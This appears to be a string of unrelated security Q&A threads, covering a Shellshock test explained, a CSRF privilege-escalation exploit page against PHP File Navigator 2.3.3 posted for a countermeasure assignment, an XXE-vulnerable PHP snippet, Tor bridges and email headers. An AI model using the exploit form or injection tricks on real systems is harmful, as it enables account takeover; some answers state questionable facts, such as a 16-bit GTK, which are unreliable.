On a vulnerable system:

$ x='() { :;}; echo VULNERABLE' bash -c :
VULNERABLE

On a patched system:

$ x='() { :;}; echo VULNERABLE' bash -c :
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'

For a detailed explanation of what this does and does not test for, and why, see "Other Function Parsing Bugs" below.

Is my system vulnerable?

If your bash isn't vulnerable then your system isn't vulnerable.

If your bash is vulnerable, then your system is vulnerable inasmuch as it uses bash along attack vectors such as CGI scripts, DHCP clients and restricted SSH accounts. Check whether /bin/sh is bash or some other shell. The vulnerability is in a bash-specific feature and other shells such as dash and ksh are not affected. You can test the default shell by running the same test as above with sh instead of bash:

x='() { :;}; echo VULNERABLE' sh -c :

If you see an error message, then your system has a patched bash and isn't vulnerable.
If you see VULNERABLE, then your system's default shell is bash and all attack vectors are a concern.
If you see no output, then your system's default shell is not bash, and only parts of your system that use bash are vulnerable. Check for:

Scripts executed by bash (starting with #!/bin/bash, not #!/bin/sh) from CGI or by a DHCP client.
Restricted SSH accounts whose shell is bash.

How This Test Works

It runs the command bash -c : with the literal text () { :;}; echo VULNERABLE set as the value of the environment variable x.

The : builtin performs no action; it's used here where a non-empty command is required.
bash -c : creates an instance of bash that runs : and exits.

Even this is sufficient to allow the vulnerability to be triggered. Even though bash is being invoked to run only one command (and that command is a no-op), it still reads its environment and interprets each variable whose contents start with () { as a function (at least those whose names are valid function names) and runs it so the function will be defined.

The intent behind this behavior of bash is to run only a function definition, which makes a function available for use but doesn't actually run the code inside it.
() { :;} is the definition for a function that performs no action when called. A space is required after { so that { is parsed as a separate token. A ; or newline is required before } for it to be accepted as correct syntax.

See 3.3 Shell Functions in the Bash Reference Manual for more information on the syntax for defining shell functions in bash. But note that the syntax used (and recognized) by bash as a valid exported shell function whose definition it should run is more restrictive:

It must start with the exact string () {, with exactly one space between ) and {.
And while shell functions occasionally have their compound statement enclosed in ( ) instead of { }, they are still exported inside { } syntax. Variables whose contents start with () ( instead of () { will not test for or otherwise trigger the vulnerability.

bash should stop executing code after the closing }. But (unless patched) it doesn't! This is the wrong behavior that constitutes CVE-2014-6271 ("Shellshock").

; ends the statement that defines the function, allowing subsequent text to be read and run as a separate command. And the text after ; doesn't have to be another function definition--it can be anything at all.
In this test, the command after ; is echo VULNERABLE. The leading space before echo does nothing and is present just for readability. The echo command writes text to standard output. The full behavior of echo is actually somewhat complicated, but that's unimportant here: echo VULNERABLE is simple. It displays the text VULNERABLE.

Since echo VULNERABLE is only run if bash is unpatched and running code after function definitions in environment variables, this (and many other tests similar to it) is an effective test of whether or not the installed bash is vulnerable to CVE-2014-6271.

Other Function Parsing Bugs (and why that test and those like it don't check for them)

The patch that has been released as of this writing, and the commands described and explained above for checking vulnerability, apply to the very severe bug known as CVE-2014-6271. Neither this patch nor the commands described above for checking vulnerability apply to the related bug CVE-2014-7169 (nor should they be assumed to apply to any other bugs that may not yet have been discovered or disclosed).

The bug CVE-2014-6271 arose from a combination of two problems:

bash accepts function definitions in arbitrary environment variables, and
while doing so, bash continues running any code that exists after the closing brace (}) of a function definition.

As of this writing, the existing fix for CVE-2014-6271 that has been released (and rolled out by many downstream vendors)--that is, the fix you'd get by updating your system or by applying the existing patch manually--is a fix for 2.

But in the presence of other mistakes in bash's code, 1 is potentially a source of many additional parsing bugs. And we know at least one other such bug exists--specifically, CVE-2014-7169.

The command presented in this answer tests for whether or not an installed bash is patched with the existing (i.e., first official) fix for CVE-2014-6271. It tests vulnerability to that specific parsing bug: "GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables[...]"

That specific bug is extremely severe--and the available patch does fix it--while CVE-2014-7169 appears to be less severe but is definitely still cause for concern.

As Stéphane Chazelas (discoverer of the Shellshock bug) has recently explained in an answer to When was the shellshock (CVE-2014-6271) bug introduced, and what is the patch that fully fixes it? on Unix.SE:

  There is a patch that prevents bash from interpreting anything else
  than the function definition in there
  (https://lists.gnu.org/archive/html/bug-bash/2014-09/msg00081.html),
  and that's the one that has been applied in all the security updates
  from the various Linux distributions.

  However, bash still interprets the code in there and any bug in the
  interpreter could be exploited. One such bug has already been
  found
  (CVE-2014-7169) though its impact is a lot smaller. So there will be
  another patch coming soon.

But if that's what the exploit looks like...

Some people, here and elsewhere, have asked why x='() { :;}; echo VULNERABLE' bash -c : printing VULNERABLE (or similar) should be considered alarming. And I've recently seen the misconception circulating that because you have to have interactive shell access already to type in that particular command and press enter, Shellshock must somehow not be a serious vulnerability.

Although some of the sentiments I've heard expressed--that we should not rush to panic, that desktop users behind NAT routers shouldn't put their lives on hold to build bash from source code--are quite correct, confusing the vulnerability itself with the ability to test for it by running some specific command (such as the command presented here) is a serious mistake.

The command given in this post is an answer to the question, "Is there a short command to test if my server is secure against the shellshock bash bug?" It is not an answer to "What does shellshock look like when it's used against me by a real attacker?" and it is not an answer to the question, "What does someone have to do to successfully exploit this bug?" (And it is also not an answer to, "Is there a simple command to infer from all technical and social factors if I'm personally at high risk?")

That command is a test, to see if bash will execute code written, in a particular way, in arbitrary environment variables. The Shellshock vulnerability is not x='() { :;}; echo VULNERABLE' bash -c :. Instead, that command (and others like it) is a diagnostic to help determine if one is affected by Shellshock.

Shellshock has wide ranging consequences, though it is true that the risk is almost certainly less for desktop users who are not running remotely accessible network servers. (How much less is something I don't think we know at this point.)
In contrast, the command x='() { :;}; echo VULNERABLE' bash -c : is entirely inconsequential except insofar as it is useful for testing for Shellshock (specifically, for CVE-2014-6271).

For those who are interested, here are a few resources with information on why this bug is considered severe and why environment variables, particularly on network servers, may contain untrusted data capable of exploiting the bug and causing harm:

Re: CVE-2014-6271: remote code execution through bash
(Florian Weimer, Wed, 24 Sep 2014 17:03:19 +0200)
Bash Code Injection Vulnerability via Specially Crafted Environment Variables (CVE-2014-6271, CVE-2014-7169)
What is a specific example of how the Shellshock Bash bug could be exploited?
Attack scenarios of the new Bash vulnerability
CVE-2014-6271 Bash Vulnerability example
kasperd's answer to What does env x='() { :;}; command' bash do and why is it insecure?
What is the severity of the new bash exploit (shellshock)?

To further illustrate the conceptual distinction here, consider two hypotheticals:

Imagine if instead of suggesting x='() { :;}; echo VULNERABLE' bash -c : as the test, I had suggested bash --version as the test. (That would actually not be particularly appropriate, because OS vendors frequently backport security patches to older versions of software. The version information a program gives you can, on some systems, make it look like the program would be vulnerable, when actually it has been patched.)

If testing by running bash --version were being suggested, no one would say, "But attackers can't sit at my computer and type bash --version, so I must be fine!" This is the distinction between a test and the problem being tested for.
Imagine if an advisory were issued suggesting that your car might have some safety problem, such as airbag failure or bursting into flames in a collision, and that factory demonstrations had been streamed. No one would say, "But I would never accidentally drive or tow my car 900 miles to the factory and have it loaded with an expensive crash dummy and slammed into a concrete wall. So I must be fine!" This is the distinction between a test and the problem being tested for.


What are the best security practices to install a C# Web App on client servers? We would like to install a Web App written in C#/.NET4 on client servers, not ours. I would like to know what are the best security practices to implement for avoid the following:

Authority stealing.
Read files with sensitive data.
Software tweaking.
Any security issues.

I heard someone talking of encrypting the Web.Config file with RSA, and so on.

Thanks in advance!

This sounds you are just asking for problems.

1) Authority stealing - What exactly do you mean by this?  If you write your Web Application the correct way, then it will only be able to do things your client allows, find out what sort of configuration they are using.

2) Read files with sensitive data - I suggest you don't attempt to do this.  Your web application should not be on a computer with sensitive data if its accesible to the internet.

3) Software tweaking - Say What?

4) Any security issues - This is not possible.  Considering you are even asking how to prevent this, means you will have security issues, even Microsoft has security issues.

Encrypting the Web.Config only protects the contents within it, if there is nothing senistive within it, it really serves no purpose to encrypt it.

It sounds you are way over your head.


Legal insurance for penetration testers I am currently finishing university and I am looking for work as a penetration tester. How important is it to have legal insurance for me in Germany and do I need to organise this privately.

Of course, I will always have a written contract from the company under test!
However, not all employees will be aware of the test going on.

Given this job, how important is it to have legal insurance? And can I expect that my employer will cover this, or should I get one myself? I am from Germany.

I am asking before I sign the contract, because the insurances I have seen all have the first three months as a "warm-up time" during which they don't cover legal disputes?

How advisable is it generally for an employee/citizen to have legal insurance?

It depends on whether or not you are a full time employee of a "consulting company" or if you are an independent contractor.

Let's say company WeHaveHoles AG wants their security tested.

In the first case, they hire the company WeTestSecurity AG.  WeTestSecurity AG hires you as a full time employee.  You don't need any special insurance - your employer does.

In the second case, WeHaveHoles AG contracts with you independently to test their security.  You will probably want "Errors and Omissions" insurance to cover you in case you make a mistake and accidentally damage them.


Does marketing data trigger HIPAA Privacy? If I was a marketing firm who provides an analysis on visitor statistics from anonymous members who then ties that in to a CRM to track conversions, what do I have to do to the data to ensure that those customers information is handled properly according to HIPAA if the CRM database is on my portal separate from their website?

The application tracks visitors with tracking cookies.  The application also uses tracking phone numbers to associate calls in to the businesses with the online visitors to determine offline conversions.  Phone calls routed through the PBX create a new contact in the CRM and attach a recording of a call as well as a generated text transmission.  These calls become associated with the anonymous visitor with the tracking cookie to determine the conversion source.

All of this information is gathered, sorted, and stored on our API server and the information can be pulled and viewed by our client purchasing these services through their account dashboard.  I have just recently been introduced to HIPAA and I'm not familiar with what needs to be protected, and what doesn't have to be.  I have been told that the fact that the customers of healthcare providers are contacting a healthcare provider needs to be protected.

I was curious as to whether or not the data needs to be obfuscated for our interaction with their account on their behalf among other things.

You're walking into murky territory in that A/V content (such as a recorded or transcribed phone call) is wide open, so if I were in your shoes I'd apply stringent security/protocols to your CRM.  If you record a phone call that starts with "Hi my name is [name] and I just contracted [disease] and will be undergoing [procedure]"...you've just captured and housed a LOT of PHI. Perhaps an end-run here (if applicable) would be to disclaim prior to capturing the phone call: "please do not talk about personal or confidential health matters" (kinda like the placards you might see in hospital elevators).

Your affiliation with customers who are HIPAA covered entities (if you end up transacting with PHI/PII) will make you a "business associate" (http://www.hhs.gov/ocr/privacy/hipaa/understanding/coveredentities/businessassociates.html).  Read about the contractual needs there between you and the covered entities.

Lastly, do your homework to make sure the access/info you provide is TRULY anonymous if it need be so.  Phone numbers, IP Addresses, etc., are examples of PII (personally identifiable information) under HIPAA.  NIST Guidance on PII: http://csrc.nist.gov/publications/nistpubs/800-122/sp800-122.pdf (e.g. search for 'phone number').  Remember, though, if you are a business associate of a covered entity, you're allowed to exchange and/or use PHI under pre-defined rationale.

I don't think this is a complete answer, but here's some thoughts & links based on what you've described/asked that I believe should help.


Few questions about group keys family in WPA/WPA2 In my previous question I learnt something about Group Temporal Key (GTK), but after searching the internet I have another questions:

1. How is Group Master Key (GMK) derived? What is GMK derived from (which formula describes the derivation of GMK)?

2. How is Group Temporal Key (GTK) derived? Is GTK derived only from GMK or do I need more factors than only GMK?

3. How many bits does GMK have?

4. How is Group Encryption Key (GEK) derived? Is GEK derived only from GTK or do I need more factors than only GTK?

5. How many bits does GEK have?

6. Which sets of characters can be used in Group Keys (GMK, GTK, GEK)? Do these keys contain lowercase, uppercase, digits and special signs? Can't these keys use any of the above specified sets?

The GMK is generated by the Authenticator, not derived.
By definition:

  group temporal Key (GTK): A random value, assigned by the group source, which is used to protect group addressed medium access control (MAC) protocol data units (MPDUs) from that source. The GTK might be derived from a group master key (GMK).

Still generated by the Authenticator and sent to the Supplican/STA and is 16 bits long, two bits for the ID and 14 Reserved

GMK is 256 bits long.
I'm not sure what you mean by GEK but I'll guess you're referring to both PTK and GTK since these are used for the final encryption of unicast traffic and broadcast/multicast respectively, both are derived from PMK or PSK. Or maybe the Temporal Encryption Key (TEK) which is generated in TKIP and used to encrypt the packets, this one derived from PTK or GTK.
Uhm.... nope, sorry.
Well.... the passphrase has a limit of 256 bits, or 64 octets when in hex.

  It is difficult for a user to
  correctly enter 64 hex characters. Most users, however, are familiar with passwords and pass-phrases and feel more comfortable entering them than entering keys. A user is more likely to be able to enter an ASCII password or pass-phrase, even though doing so limits the set of possible keys.

[...]

  A pass-phrase is a sequence of between 8 and 63 ASCII-encoded characters. The limit of 63 comes
  from the desire to distinguish between a pass-phrase and a PSK displayed as 64 hexadecimal
  characters.
  Each character in the pass-phrase must have an encoding in the range of 32 to 126 (decimal),
  inclusive.

Not sure but I really hope this helps though.


How do we encrypt a password using another password? An article on Kerberos goes like this:

The problem is, Charon cannot give you the password directly, because then you would know it. [....]
So instead of giving you the mail server's password, Charon gives you a mail service TICKET. This ticket contains a version of your username that has been ENCRYPTED USING the MAIL SERVER'S PASSWORD.

What does it mean to encrypt a password using another password?

This is about real, reversible, symmetric encryption. It is not related to storing a one way hash of a password.

encryptedData = encrypt(data, key)
data = decrypt(encryptedData, key)

The very simple implementation of encrypt("bar", "foo") could return "hpg".

key is the shared secret known to both Charon and the mail service. The linked article calls this key a password.

data of course can be another password. But in this case it is not a password, but some information that Charon wants you to pass on to the mailserver. It is called Ticket. The symmetric encryption ensures that neither you nor anyone else can read it. More needs to be done in order to make it secure, but that is dealt with in later scenes of the play.

By the way Wikipedia has an explanations of Kerberos that is closer to the actual technique. The different way to present it may help to understand it.


ELI5: What is the goal of the senders of the fake texts I receive ^^^Fake text sent to me, have received 10 this week. This was in the first batch of four I received around 630 am this week. It is incorrectly dated to say 2013 and it says PM but was actually received in the AM. It is also off by about a half hour.

Earlier this week I began receiving series of texts early in the am while asleep. The texts are as pictured above. The first one came around 630 am and woke me up so I deleted it asap. A minute later another which I screen capped before deleting. A moment later another, then finally a fourth which was incorrectly dated and timed. I saved a screen cap all but the first.

A day or two later in the evening time I received a series of such texts again, this time four of them as well, each time the pass code being different. Each time I would immediately delete them after a screen cap. A following evening while at work I received one while at work and was unaware, didn't have time to delete it for over an hour. Oddly this time only received one. Two days ago, I received a rapid fire series of 6. Up until then it had been 4-1-4 I screencapped and deleted them all.

I called my telecom co and the executive looked it up and said he didnt seem to see any " record of the transactions " meaning the phone company had no record of there being any series of texts at those dates and times from the number listed or any. I emailed the screen caps.

I also looked up DocuSign to see what they do. Then I called. They said it sounded like a text the companies who use their service send out to allow for opening of and or signing documents but that they could only verify it by my email. They looked up my emails and had nothing. I checked all my emails including spam and wasnt sent any links to use the passcodes on. Yet they keep coming.

If they arent really from DocuSign and they don't actually appear in the records of my tele provider then what is the person getting out of sending them? I worried at first they were up to a scam or crime and harvesting the passcodes through some hacking means just to have a phone number to link to an unsavory activity or to steal my identity but if the texts arent from DocuSign and real and the phone company has  no record of the transaction what is the method, I mean by what means does someone achieve this and what do they seek to get out of it?

Im thinking that by knowing how it is done and what a person may get out of it I may come closer to knowing who did it.

Please explain like I am 5 :)

Thanks

I think the way things like DocuSign work is that you can send files to people using a email and probably text by sending a key and then the person can securely access the files on DocuSign's website with the pin. This means if someone somewhere is trying to send documents to someone but have your number by mistake, they would keep sending you these texts. With the numbers of texts you are getting it probably means your number is mistakenly in a database somewhere as contact info for someone else.

You said that DocuSign only verifies emails but maybe some system in the middle will parse emails for some addresses and send a text to the user as well and this doesn't have anything to do with your telecom provider or DocuSign themselves. The system could also be reconfigured with the wrong timestamp application onto texts. I would have no idea why your telecom can't find the texts in this case.

Although it is possible your texts are compromised at your telecom and someone is using it to gain access to files posing as your number. Either way, your info isn't at risk.

Your number is public so anyone can text you. You should ask to block the number these texts are coming from if you wish to stop getting them.


In what scenarios is relying on source IP address as a security control acceptable/unacceptable? A number of questions on this site mention relying on source IP address as a control and in most of them it is dismissed as being unreliable.

In what circumstances might using source IP address as a control be a potentially useful idea or a bad idea and why.

The idea of "spoofing" the source IP address gets brought up but people rarely go into detail about how challenging that might be in practice (eg, accurately guessing TCP sequence numbers), particularly in relation to commonly used application protocols such as HTTP

One thing I've noticed is that the idea of "spoofing" the source IP address gets brought up but people rarely go into detail about how challenging that might be in practice (eg, accurately guessing TCP sequence numbers), so I'd be interested in any opinions about the practicality of spoofing IP addresses with common application protocol such as HTTP.

A fair point which earns my +1.

If you're after hijacking an existing connection given you know for arguments' sake that 256.0.0.1 (deliberately not real) is on the whitelist is fairly tough, as you state.

I think we reach for IP spoofing as the most obvious threat, like with the idea that all hackers are "leet", use tiling window managers and have transparent terminals. However, there are some more obvious problems:

What happens if another computer acquires that IP address? If you use IP address based restrictions alone, then it becomes a problem.
What happens if that computer becomes compromised? Again, a problem if you use IP address filtering alone.
What happens when you have NAT and no access to the source IP address?

In other words, the problem is that whilst this might restrict access, it does nothing to check authorisation. Like a stateless firewall, which assumes everyone on this private subnet is good. That's all very well, but did you authorise their access? If they can acquire, by any means, an IP address in the right range, you're going to hand them trust.

By contrast, if you use some form of authentication layer, you make it harder for the would be attacker to gain access where they are not authorised.

A better solution in my mind is to use the likes of IPtables to mark certain interfaces as having access to more or fewer services. This is then tied to the physical network, which is much harder for an external (or even internal) attacker to manipulate. You still, however, need authentication on top of that.


What kind of information can be found from email? When an average person sees an email, he can see only part of an information enclosed in the mail. To see full information one can look at the source of an email, which shows more. Example of an email source looks like this:

Received: via dmail-2008.19 for +INBOX;
        Tue, 3 Feb 2009 19:29:12 -0600 (CST)
Received: from abc.luxsci.com ([10.10.10.10])
    by xyz.luxsci.com (8.13.7/8.13.7) with
        ESMTP id n141TCa7022588
    for <user-999@xyz.luxsci.com>;
        Tue, 3 Feb 2009 19:29:12 -0600
Return-Path: <test@sender.com>
Received: from [192.168.0.3] (verizon.net [44.44.44.44])
   (user=test@sender.com mech=PLAIN bits=2)
   by abc.luxsci.com (8.13.7/8.13.7) with
   ESMTP id n141SAfo021855
   (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA
   bits=256 verify=NOT) for <test@domain.com>;
   Tue, 3 Feb 2009 19:28:10 -0600
Message-ID: <4988EF2D.40804@domain.com>
Date: Tue, 03 Feb 2009 20:28:13 -0500
From: "Test Sender" <test@sender.com>
User-Agent: Thunderbird 2.0.0.19 (Windows/20081209)
MIME-Version: 1.0
To: "Test Recipient" <test@domain.com>
Subject: Example Message
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Comment: Lux Scientiae SMTP Processor Message ID -
   1233710941-9110394.93984519

My question is: what kind of information can a skilled person get from an email source in two cases:

a person who sends an email has no knowledge of computer except sending mails/browsing internet
a person who sends an email is skilled and want to hide/change as much as possible, but does not have too much control (by too much control I mean he does not have control over big email services, but can have his own email server)

P.S.

I am not talking about this specific example (it is just for people who do not know about email source).
I know that some of the fields can be changed by sender (but I do not know how many of them could be changed).
I can read, so I see that I can find through which email provider an email was sent, at what time, through which program. But I am curious whether I can get information which can narrow down possible user (may be his OS, IP, timezone and so on)

First and foremost, you are referred to RFC 5822 as a definitive source of information regarding the mail format. RFC 5321 should help with understanding of how mail is transferred. Now, to be more specific:

Everything below the Date: header (inclusive) is sent to a SMTP server by the sender's mail client. For a savvy person it should be no big deal to whip a crafted email client which will send arbitrary headers. The information obtained cannot be considered a proof of anything other that byte values used to represent it -- there is no way to prove data authenticity, both parties might have forged the headers -- who knows?

  I am curious whether I can get information which can narrow down possible user (may be his OS, IP, timezone and so on)

Assuming the sender didn't tamper much with email contents:

  User-Agent: Thunderbird 2.0.0.19 (Windows/20081209)
  Sender's OS disclosed by the mail agent itself.

  Date: Tue, 03 Feb 2009 20:28:13 -0500
  Sender's TZ disclosed.

  Received: from [192.168.0.3] (verizon.net [44.44.44.44])
  Sender's IP disclosed via the mail server.

Depending on the mail agent used, there may be more information available.


Legally port scanning (Whitelist) I am attempting to set up a security vulnerability scanning server. I have several customers interested in using it to scan their systems. I will be port scanning and carrying out intrusion detection, etc.

Before I go ahead with this, I want to know if there is a process for getting whitelisted so that other security services do not interfere or my IP ends up getting blocked.

(Like when you have a mail server and you have a reverse DNS entry so all the emails to certain domains don't get constantly bounced)

Email protocols allow for the existence of whitelists based on verified known-good servers and is a coherent system of servers. "Security services", on the other hand, have no such protocol and are not coherent. Each service needs to whitelist your IP.

On top of that, there should not be such a whitelist: imagine what would happen if a malicious entity got on to the whitelist...


Different types of Tor bridges - implications for detection of Tor use I am trying to figure out the implications of using the different types of Tor bridges - such as meek, obfs4, etc.

My threat model: I am engaged in entirely legal, non-violent communications, but I am concerned about potential harassment from my nation state as I am an organiser.  The government is known to be trying to track Tor usage.  My primary concern is to avoid being flagged in dragnet surveillance by either my communications or by my Tor usage.  I am not so concerned about targeted surveillance - if it reaches that point I will be harassed anyway.

In light of this, I had guessed that:

Meek might be safest, since the connections are going to innocuous IP addresses associated with Google App Engine / Azure / Amazon.
The recommended obfs4 transport would be less safe, since connections are going to IP addresses of bridges, which may be known to the surveillance agencies.

I'm aware that this might be a complete misunderstanding of these transports :).

Is this analysis correct?  I can't find any information online re the relative safety of these transports in these terms, only a generic recommendation everywhere that "obfs4 is best."  I would prefer obfs4 if possible, only because it is much, much faster, but thought I should check.

You have to understand that both transports have a different threat model than yours. They both address "blockability" while you need to address "detectability", or as meek's threat model docs put it: "observability".

You mention that:

  My primary concern is to avoid being flagged in dragnet surveillance by either my communications or by my Tor usage

Hiding the fact that you're even using tor is much more difficult than hiding the content of your communications.

Both bridges (and tor bridges in general) try to achieve the same goal: to not be blocked by standard detection methods. None of them are listed in the main directory. From the tor docs on bridges:

  Since there is no complete public list of them [the bridges], even if your ISP is filtering connections to all the known Tor relays, they probably won't be able to block all the bridges.

Using a bridge in your situation is better than not using it, but it might not be enough to hide the fact that you're using tor.

This are the protections offered by bridges:

Block by content: censor will not be able to see what the content of your communication is
Block by address: censor will not be able to know who you're talking to, or whether the other end is a TOR relay
Active probing: for obfs4 a probe would require the node ID and the public key, which can't be easily obtained because bridges aren't easily enumerable. For meek an active probe may be able to determine there's a domain-fronted relay, but not whether anyone communicating with the CDN actually used it.

They both try to provide some protection against fingerprinting of headers, traffic patterns, etc. But it's not their primary goal.

Even though with meek you're connecting to a CDN that's used by lots of sites, your traffic patterns may be very different from those of other users not accessing a tor bridge.

Also, with meek you mostly depend on HTTPS and its PKI. If your government controls a trusted CA you will have to take extra care of not being MITMed on your way to the domain front. This might mean removing their CA from your trust store, and doing that might give away that you're doing something private.

Conclusion

Both bridges will offer you similar protection, but they aren't specifically designed for your problem (hiding the fact that you're using a private communication channel).

They do, however, hide that fact from most automated detection tools, because that's a precondition to bypass blocking.

This might be enough for your case, but be very careful and implement additional measures where possible.


Possible countermeasure/fix for this php exploit code? I found this privilege escalation exploit code on the exploit-db vulnerability website and as an assignment I need to determine what countermeasure I will use to correct this exploit. As part of the assignment criteria the correction must be coded.

I'm still new to exploiting vulnerabilities and php so I'm having a bit of difficulty understanding how to correct this. I have considered implementing least privilege or privilege separation but I don't know how these would be implmented. What would be an appropriate countermeasure or correction for this vulnerability?

System: PHP File Navigator 2.3.3

Exploit code:

<!DOCTYPE>
<html>
<script>
function pwn(){
var e=document.getElementById('ELEVATO_DE_PRIVLOS')
e.submit()

}
</script>
<body onLoad="pwn()">

<!-- Escalate privs to that of Admin -->

<form id="ELEVATO_DE_PRIVLOS" action="
http://localhost/PHPfileNavigator/pfn-2.3.3/xestion/usuarios/gdar.php"
method="post">
<input type="hidden" name="id_usuario" value="5" />
<input type="text" id="nome" name="nome" value="b2" class="text"
tabindex="10" />
<input type="text" id="usuario" name="usuario" value="b2" class="text"
tabindex="20" />
<input type="password" id="contrasinal" name="contrasinal"
value="abc123" class="text" tabindex="30" />
<input type="password" id="rep_contrasinal" name="rep_contrasinal"
value="abc123" class="text" tabindex="40" />
<input type="text" id="email" name="email" value="b@b.com" class="text"
tabindex="50" />
<input type="text" id="max_descargas" name="max_descargas" value="0"
class="text" tabindex="60" />
<input type="text" id="actual_descargas" name="actual_descargas"
value="0" class="text" tabindex="70" />
<select id="cambiar_datos" name="cambiar_datos" tabindex="75">
<option value="1" >ON</option>
<option value="0" selected="selected">OFF</option>
</select>
<select id="id_grupo" name="id_grupo" tabindex="80">
<option value="1" selected="selected">Administrators</option>
</select>
<select id="admin" name="admin" tabindex="90">
<option value="1" selected="selected">ON</option>
<option value="0">OFF</option>
</select>
<select id="estado" name="estado" tabindex="100">
<option value="1" selected="selected">ON</option>
<option value="0" >OFF</option>
</select>
<input type="checkbox" id="Fraices_1" name="Fraices[]" value="1"
class="checkbox" />
</form>

</body>
</html>

This is definitely not an exploit for CVE-2011-3775, which is a rather low-severity information leak vulnerability.

What this is is an exploit for a CSRF vulnerability, so that is what you should defend against. See for example OWASP on defending against CSRF


Why Would A Web Server Allow Loading XML External Entities? I've been reading up on XXE Injection, and so far every example I've seen has involved a webserver voluntarily loading xml external entities (as below).

<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$user = $creds->user;
$pass = $creds->pass;
echo "You have logged in as user $user";?>

Given the risk of XXE Injection attacks and the possibility for those attacks to a) disclose confidential information and/or b) perform remote code execution (RCE), why would a web server developer/admin decide to enable loading external xml entities in the first place?

So far I haven't seen any explanation for what the motivation is to enable loading external xml entities. Is it just lazy coding? Ignorance? Convenience?

why would a web server developer/admin decide to enable loading external xml entities in the first place?

Usually this is not about explicitly enabling but about not being aware of the problem and using a  library with insecure default settings. Many libraries have or had loading of external entities enabled by default. To cite from OWASP XML External Entity Prevention Cheat Sheet:

  ... starting with libxml2 version 2.9, XXE has been disabled by default

Which means before that it was enabled

  ... libxerces-c ... Use of XercesDOMParser do this to prevent XXE ... Use of SAXParser, do this to prevent XXE ... Use of SAX2XMLReader, do this to prevent XXE ...

Which suggests that it is enabled by default

  ...  the default settings for most Java XML parsers is to have XXE enabled.

and there are more libraries in this document which have XXE enabled by default.


What security risks does IP spoofing bring? By manipulating the TCP packet and changing the source address one is able to spoof the IP. As I understand it, you will not be able to set up a full handshake by doing this, as you will never receive the returning packets.

Does anyone know how this poses as a security risk today?

Some risks:

SYN flooding from an IP that is not filtered.
Connection hijacking by learning the next sequence number
Bypass firewall and other defenses by acting as a legit source
IDLE scan
Smurf attack
DNS Cache Poisoning

You are correct when you say an attacker spoofing IP may not receive traffic back, but they may not want to. They may want traffic sent to another IP address - possibly for denial of service attack on that IP.

Alternatively, there are attacks which just require the initial part of the handshake to take down your defences (you mentioned SYN flood)

Less of a direct risk, but also relevant is general traffic load. My take on this is to disallow as much as you can at the perimeter - this includes traffic types and ports you don't use, and also traffic which is effectively invalid. It is simple to do on most routers, and it means any deep inspection firewall has to trawl through less packets thus reducing the load.


Push notification - can I use any mobile auth application? When generating a OTP, I know I can use either Authy or Google Auth, either can scan the code & generate the same OTP.

What about push notification? Are Duo/Okta verify and other apps interchangeable? I am trying to limit the number of apps on my mobile.

As far as I can see from the respective websites those apps are specific to one service.

I am not aware of a generic "push" protocol. So if you want to get that form of push notification from a service you will have to install the matching app.


How can I find out what's in this NASA JPL "Spy" command line program for macOS and how safe it is? Discussion under this answer in Space Exploration SE links to items in NAIF; NASA Planetary Data System Navigation Node links for MacIntel_OSX_64bit
I'm looking at these two.

spy: https://naif.jpl.nasa.gov/pub/naif/utilities/MacIntel_OSX_64bit/spy
spy.ug: https://naif.jpl.nasa.gov/pub/naif/utilities/MacIntel_OSX_64bit/spy.ug

spy.ug is a readme-like text file that displays in my browser, but spy downloads what Finder tells me is a text document. However I won't view it with the TextEdit app because it gives me a warning about security. It also suggests I can open it with iTerm which I assume will go ahead and run it.
I've opened it with SublimeText2 and it seems to be binary, which probably means I'll never know what it does.
Question:

How can I find out what's in this NASA JPL "Spy" command line program for macOS and what it does exactly in terms of security issues?
How can I find out how safe it is?

Beginning of spy.ug:
Spy User's Guide
===========================================================================

   Last revised on 2012 SEP 19 by N. J. Bachman.

Abstract
--------------------------------------------------------

   Spy is a command-driven utility for validating, inspecting, and
   analyzing SPK files.

spy.ug is a readme-like text file that displays in my browser, but spy downloads what  Finder tells me is a text document.

It is not a text document. It is a Mach-O 64-bit x86_64 executable.

How can I find out what's in this NASA JPL "Spy" command line program for macOS and what it does exactly in terms of security issues?

You could spend a long time learning how to reverse engineering Mach-O executables and then spend a long time reverse engineering the Mach-O executable.

How can I find out how safe it is?

Do the above analysis which will take a long (long) time.
Alternatively, if you have any contextual information that might allow you to make an informed decision without going through all the binary reverse-engineering analysis, maybe you could try that approach.
Alternatively, you could run the file on a virtual machine and check to see if it starts on virtual fire, or whatever.


Is ExpressVPN using Taboola? I am running on Windows 7, version pro.

I have just started paying for the vpn service ExpressVPN. From that point, I noticed that ExpressVPN software was running a nssm.exe process (non-sucking service manager), which itself was running a xvpnd.exe process. (I am using Process Explorer to monitor processes on my PC).

When looking at xvpnd.exe properties, tab TC/IP in Process Explorer, a protocol linked to www.taboola.com:0 is listed in the state "LISTENING".

Taboola!? Isn't it a tracking website?!

Reading their Privacy Policy ExpressVPN seem to care about privacy ("We are committed to your privacy and do not collect or log traffic data or browsing activity from individual users connected to our VPN."), but still warn that they can send "diagnostic" data to third parties and that they use "website analytics tools" to "track sales promotions or advertisements and to understand which pages on the Site receive visitors"... But I am not sure I properly understand the jargon though...

My question : would someone know if this feature could still be harmless (to my privacy) or if I should just ditch ExpressVPN immediately for spying on their clients despite their commitments?

I work for ExpressVPN and have investigated this issue. Here are our findings:

No, there is NO link between ExpressVPN and Taboola. I believe what you’re seeing in the screenshot is a case of mistaken identities. Here’s one sign that something is wrong in the screenshot: the ‘remote address’ for a listening socket in process explorer should always be shown as ‘0.0.0.0’, yet somehow your machine resolves that as taboola.com, which doesn’t make sense to me.
What actually happens: xvpnd.exe is an ExpressVPN process that controls the VPN. It listens on 127.0.0.1 (meaning just on the local machine) for messages from the ExpressVPN UI application, expressvpn.exe.
My theory on what caused your machine to resolve 0.0.0.0 as taboola: there might be software on your computer, maybe ad-blocking software, that modified your hosts file and added an entry for 0.0.0.0 pointing to taboola.com. It might have done that in an attempt to block all attempts by your machine to connect to that domain.

One unfortunate side-effect is that the process explorer you’re using now resolves 0.0.0.0 as taboola.com.

Here are some ways to confirm my theory:

on your local machine, run a traceroute to 0.0.0.0 (tracert 0.0.0.0). Does it show taboola?
